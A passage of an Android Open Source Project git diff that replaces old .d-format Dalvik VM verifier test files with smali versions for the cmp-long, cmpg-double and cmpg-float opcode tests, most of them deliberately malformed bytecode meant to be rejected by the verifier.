-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)I
-.limit regs 14
-
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali
new file mode 100644
index 0000000..5a39cdf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_2.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 14
+
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d
deleted file mode 100644
index 3d25d6b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_3.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       const v10, 3.1415
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.smali
new file mode 100644
index 0000000..e52da8a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_3.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_3;
+.super Ljava/lang/Object;
+.source "T_cmp_long_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)I
+    .registers 14
+
+    const p1, 0x40490e56    # 3.1415f
+
+    cmp-long v0, p1, p3
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.d
deleted file mode 100644
index 32c3050..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_4.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       const v10, 1234
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali
new file mode 100644
index 0000000..1cf491a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_4.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       const v10, 1234
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.d
deleted file mode 100644
index 9e86284..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_5.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       const v10, 1234
-       cmp-long v0, v9, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali
new file mode 100644
index 0000000..146159a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_5.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       const v10, 1234
+       cmp-long v0, v9, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.d
deleted file mode 100644
index 15ac1cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_6.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       cmp-long v0, v10, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali
new file mode 100644
index 0000000..6c81296
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_6.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       cmp-long v0, v10, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.d
deleted file mode 100644
index a76c3b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_1.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpg-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali
new file mode 100644
index 0000000..567b758
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_1.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpg-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d
deleted file mode 100644
index 5704511..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_2.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       const v14, 3.14
-       cmpg-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.smali
new file mode 100644
index 0000000..cad0675
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_2;
+.super Ljava/lang/Object;
+.source "T_cmpg_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)I
+    .registers 16
+
+    const p3, 0x4048f5c3    # 3.14f
+
+    cmpg-double v0, p1, p3
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.d
deleted file mode 100644
index 78d65ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_3.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)I
-.limit regs 16
-
-       cmpg-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali
new file mode 100644
index 0000000..eebe149
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_3.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 16
+
+       cmpg-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.d
deleted file mode 100644
index e38307c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_4.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       const-wide v12, 12356
-       cmpg-double v0, v12, v11
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali
new file mode 100644
index 0000000..04e2a05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_4.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       const-wide v12, 12356
+       cmpg-double v0, v12, v11
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.d
deleted file mode 100644
index bd43151..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_5.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpg-double v0, v12, v16
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali
new file mode 100644
index 0000000..6b10490
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_5.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpg-double v0, v12, v16
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.d
deleted file mode 100644
index 70c7f72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_6.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 16
-       move v0, v14
-       move v1, v14
-       move v2, v15
-       move v3, v15
-
-       cmpg-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali
new file mode 100644
index 0000000..0ad763b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_6.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 16
+       move v0, v14
+       move v1, v14
+       move v2, v15
+       move v3, v15
+
+       cmpg-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.d
deleted file mode 100644
index a32772d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_1.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpg-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali
new file mode 100644
index 0000000..539d585
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_1.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.d
deleted file mode 100644
index abaed4c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
